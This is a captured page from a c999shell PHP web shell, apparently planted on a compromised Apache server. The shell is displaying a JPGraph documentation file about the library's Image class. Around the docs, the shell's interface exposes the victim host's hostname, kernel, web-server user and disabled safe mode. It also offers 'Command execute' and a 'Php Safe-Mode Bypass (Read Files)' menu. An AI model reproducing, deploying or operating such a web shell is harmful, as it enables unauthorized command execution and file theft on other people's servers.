Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS Image
(Defined in: jpgraph.php : 5625)
Class usage and Overview The Image class encapsulates the very lowest layer in the jpgraph library. It encapsulates the GD library function and presents a coherent interface hiding som of the details in the setup and management of GD.
By replacing Image (and RotImage) it is possible to change the output driver for the whole library withou any further changes. A very close related class is RotImage which builds directly on Image but in additoin provides a 2D rotation featire, i.e the image may be rotated around a given point and possible also translated. The image gets instantiated through in the Graph::Img property, or more accurate the RotImage class gets instantiated. The only method in this class that any end user is likely to need (and use) is the SetMargin() method used to give the margins around between the end of the image and the actual plotarea. Note that all coordinates in methods belonging to Image is given in direct screen coordinates.
See also related classes: RotImage, RGB and TTF
Class Methods
Description Draw a rectangle with rounded corners. Example
Description Alpha blending for colors can only be used with GD 2.x and above. You specify the alpha channel by adding a '@[alpha-value]' to your normal color specification. The alpha value is specified as a fraction in the range [0, 1] and indicated how much of the background color should be visible.
Alphablending is enabled by default (when GD2 is used) but can be turned off by a call to this function with the argument false. Example ... $lineplot->SetFillColor('orange@0.5');
Description Specify if anti-aliasing should be used.
Enabling anti-aliasing will greatly improve the visual apperance of certain graphs. For example spider graphs greatly benefit from this.
Note: Using anti-aliasing makes line drawing roughly 8 time slower than normal lines !! So you image will take longer to construct.
See also Image::Line
Example
Description Set canvas color. The canvas color is the fill color for the frame when it is first created. This is white by defult. If you specify a frame or plot area color this background color will never be visible.
The one time it matters is when you use a drop shadow on the graph. In the small area (top right and bottom left) where there is an empty are which is covered by neither the shadow nor the graph margin this area will have the canvas color.
See also Graph::SetMarginColor and Graph::SetColor
Example
Description Specify that the header returned should not only contain the image format but also the meta tags to force the browser not to cache and reload the image every time the script is called.
By default this is turned on.
Note: There is no reason as far as we can tell to turn this off.
Example
Description Specify image format. Note depending on your installation of PHP not all formats may be supported.
Supported formats are:
See also Image::SetQuality
Example
Description Specify margin for the plot area.
Example
Description Specify JPEG image quality. For this to have any effect the image format, as specified with SetImgFormat(), must have been set to "jpeg".
The quality is specified as an integer in the range 0 (worst quality) to 100 (best quality) . By default the quality is set o 75. See also Image::SetImgFormat
Example
Description Specify transparent color for image. Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.019 ]-- |